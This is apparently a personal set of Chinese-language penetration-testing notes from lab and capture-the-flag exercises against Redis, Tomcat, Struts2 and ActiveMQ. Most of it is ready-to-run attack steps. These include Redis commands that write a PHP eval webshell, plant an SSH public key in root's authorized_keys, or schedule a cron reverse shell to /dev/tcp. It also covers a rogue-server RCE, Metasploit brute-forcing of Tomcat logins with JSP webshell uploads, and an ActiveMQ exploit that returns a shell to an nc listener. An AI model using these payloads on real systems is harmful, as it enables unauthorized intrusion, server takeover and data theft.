优秀的人,不是不合群,而是他们合群的人里面没有你
Redis未授权访问漏洞
需要做到写入一句话,或者写入ssh公钥登陆,或者反弹shell方法获得权限~
Redis 默认端口 6379
redis的登录方法:
redis-cli -h <ip_addr> -p <port>
1 redis写入webshell
如果存在80端口且redis开放6379端口
config set dir /var/www/html/ # 切换工作目录
config set dbfilename shell.php #设置写入的文件名
set xx "\n\n\n<?php eval($_REQUEST['m']);?>\n\n\n"
save #将内存中的数据保存到磁盘
2 redis写公钥
使用条件:
- Redis服务使用ROOT账号启动
- 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
kali: ssh-keygen -t rsa
一路输出test,看到生产了一个test.pub,cat一下看看,内容长这样
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKDU8A+xG+8C7pz9aDaIohfm33GeE0WRqWDqKeh2fSYdTuOcKst6Tit1Bw/qL2hyLMCU5RQc7Qhx2Wkn+UHnz32R+1WL8yeoRd8Go3FfsqAFAfsY0jbXKxRCLVfUKHOIXGYtGq9B5oQrZJLGVigtikP8+O0Xzh21v2r8s4HzJtngM321YhOIG5rZCFSXGQI26kPmydcNcLDbORgbTPdnOvPjp/kXYESkO+oX4ZApdv7y8kLUAuYqxTPiSholm2vWtNo5MPIHPHPaVLB/xn1eIPEVqNyugx0VSbUi+mg5XrLtgtsupZdt5HVaUgxmS+bjeaM40mX/5+RE74GywS3GVohjFrEh8uvKDSUxhXcH1HK7obpGXoegpO8ZUYu54LPdYD9PTXjc+ncxi5DVa0l+si77x3jphQFDzG8se+R2Xo1cdiNWgQTKb+I8mLVcqmYkFuxEcpHwXjMsUVgH+yde4s9fIobBnjPF5pzZ9JYcTnoy+VyB8+EyU8N09gXJW9juM= kali@kali
然后登陆redis
redis:
config set dir /root/.ssh
config set dbfilename authorized_keys
set xx "\n\n\n ssh-rsa <公钥>\n\n\n"
save #将内存中的数据保存到磁盘
举个例子:
config set dir /root/.ssh
config set dbfilename authorized_keys
set xx "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKDU8A+xG+8C7pz9aDaIohfm33GeE0WRqWDqKeh2fSYdTuOcKst6Tit1Bw/qL2hyLMCU5RQc7Qhx2Wkn+UHnz32R+1WL8yeoRd8Go3FfsqAFAfsY0jbXKxRCLVfUKHOIXGYtGq9B5oQrZJLGVigtikP8+O0Xzh21v2r8s4HzJtngM321YhOIG5rZCFSXGQI26kPmydcNcLDbORgbTPdnOvPjp/kXYESkO+oX4ZApdv7y8kLUAuYqxTPiSholm2vWtNo5MPIHPHPaVLB/xn1eIPEVqNyugx0VSbUi+mg5XrLtgtsupZdt5HVaUgxmS+bjeaM40mX/5+RE74GywS3GVohjFrEh8uvKDSUxhXcH1HK7obpGXoegpO8ZUYu54LPdYD9PTXjc+ncxi5DVa0l+si77x3jphQFDzG8se+R2Xo1cdiNWgQTKb+I8mLVcqmYkFuxEcpHwXjMsUVgH+yde4s9fIobBnjPF5pzZ9JYcTnoy+VyB8+EyU8N09gXJW9juM= kali@kali\n\n\n"
save
然后直接命令链接
ssh 目标IP
如果知道了公钥,可以用
ssh -i <私钥文件路径> <用户名>@<远程服务器地址>
ssh -i /root/.ssh/id_rsa root@xx.xx.xx.xx
直接登录
3 redis反弹shell
虚拟机肯定反弹不了,但是docker可以
set x "\n\n****bash -i >& /dev/tcp/xx.xx.xx.xx/8089 0>&1 \n\n"
config setdir /var/spool/cron
config set dbfilename root
save
4 Redis主从复制getshell
redis主从RCE打多了会出现redis瘫痪的情况,所以不到万不得已,尽量不要打主从
条件:
- Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
- redis弱密码或者无密码
- root启动redis
以下在kali下进行,根据提示输入i进入交互shell
wget https://github.com/n0b0dyCN/redis-rogue-server
python3 redis-rogue-server.py --rhost 192.168.181.89 --lhost 192.168.181.129 --exp module.so
反弹shell使用下面这条命令
python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so
根据提示输入r,接着输入ip和端口进行反弹
tomcat弱口令及getshell
启动靶机:tomcat-pass-getshell
这里进行弱口令爆破登陆,默认是tomcat/tomcat
如果没出来,就用msf里面的模块
search tomcat
search tomcat login
use 0
show options
set rhosts 123.58.224.8
set rport 44238
run
得到账号密码,到这里就停止爆破
进去后,tomcat是部署jsp/java。通过web或者加保
上传jsp的war包,tomcat自动会对压缩包进行解压然后解析。
冰蝎自带jsp一句话木马,shell.jsp,密码是pass,将shell.jsp解压成zip,然后后缀zip改成war,在上传就可以。
上传好了,页面搜索上传的文件名字,就在这里
点进去,看到目录是啥都没的,然后再后面加上文件名.jsp
http://123.58.224.8:44238/shell/shell.jsp
用冰蝎或者哥斯拉链接,进去就可以用shell执行命令寻找flag
tomcat任意文件写入
抓包文件上传,点击manager
变成这样
修改请求方式成PUT
把一句话木马写进去,路劲改为xxx.jsp/,这个/一定要加上去
然后请求连接
http://123.58.224.8:43614/xxx.jsp
Strust2
靶场:CVE-2017-5638,用工具一把锁哈
activemq
基本上进去这个样子
有现成的exp,还怪好用。记录一下复现过程,vulf靶场搜索cve-2015-5254启动。
需要一台外网服务器,外网服务器操作命令如下:
外网服务器nc监听本地端口2233
nc.exe -lvvp 2233
编辑linux-poc.xml,内容是外网服务器ip+端口
然后再外网服务器的exp目录下启动python服务器,端口9999
在本地同样准备一模一样的exp环境
执行命令
python exploit.py -i 靶机 -p 32693 -u http://外网服务器:9999/poc-linux.xml
然后再外网服务器的nc就反弹shell到手,find一下没发现flag,猜测在env中,还真是